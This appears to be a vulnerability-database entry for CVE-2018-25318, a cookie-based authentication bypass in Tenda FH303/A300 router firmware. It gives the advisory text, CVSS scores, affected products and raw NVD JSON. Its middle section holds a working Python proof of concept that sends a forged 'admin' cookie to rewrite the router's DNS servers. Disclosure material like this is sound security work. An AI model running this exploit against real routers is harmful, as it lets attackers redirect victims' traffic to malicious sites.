Security Vulnerability Report
中文
CVE-2018-25318 CVSS 9.8 CRITICAL

CVE-2018-25318

Published: 2026-04-29 20:16:28
Last Modified: 2026-05-04 18:40:04

Description

Tenda FH303/A300 firmware V5.07.68_EN contains a session weakness vulnerability that allows unauthenticated attackers to modify DNS settings by exploiting insufficient cookie validation. Attackers can send GET requests to the /goform/AdvSetDns endpoint with a crafted admin cookie to change DNS servers and redirect user traffic to malicious sites.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tenda:fh303_firmware:5.07.68_en:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:fh303:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tenda:a300_firmware:5.07.68_en:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:a300:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda FH303 V5.07.68_EN
Tenda A300 V5.07.68_EN

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_dns_change(target_ip, malicious_dns): """ Exploit CVE-2018-25318: Change DNS settings on Tenda routers. """ url = f"http://{target_ip}/goform/AdvSetDns" # Crafted cookie to bypass authentication (Session Weakness) cookies = { "admin": "admin" # Weak validation allows simple cookies to act as authenticated session } # Parameters to set the DNS params = { "GO": "as_dns_set", "DYNAMIC_DNS": "0", "DNS1": malicious_dns, "DNS2": malicious_dns } try: response = requests.get(url, params=params, cookies=cookies, timeout=5) if response.status_code == 200: print(f"[+] Success: DNS changed to {malicious_dns}") else: print(f"[-] Failed: Status code {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "192.168.0.1" # Replace with target IP dns = "8.8.8.8" # Replace with malicious DNS exploit_dns_change(target, dns)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2018-25318", "sourceIdentifier": "[email protected]", "published": "2026-04-29T20:16:27.800", "lastModified": "2026-05-04T18:40:04.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda FH303/A300 firmware V5.07.68_EN contains a session weakness vulnerability that allows unauthenticated attackers to modify DNS settings by exploiting insufficient cookie validation. Attackers can send GET requests to the /goform/AdvSetDns endpoint with a crafted admin cookie to change DNS servers and redirect user traffic to malicious sites."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:fh303_firmware:5.07.68_en:*:*:*:*:*:*:*", "matchCriteriaId": "20046F4D-3A6C-4CED-BB79-95521352D7E3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:fh303:-:*:*:*:*:*:*:*", "matchCriteriaId": "327B3014-5E3F-4047-A3DD-751C3E83B5F8"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:a300_firmware:5.07.68_en:*:*:*:*:*:*:*", "matchCriteriaId": "05713B44-90ED-4045-A56B-DFCE17F65137"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:a300:-:*:*:*:*:*:*:*", "matchCriteriaId": "B14D2903-CFC8-4E41-9174-8086B1DFA7D7"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/44381", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/tenda-fh303-a300-68-en-cookie-session-weakness-dns-change", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}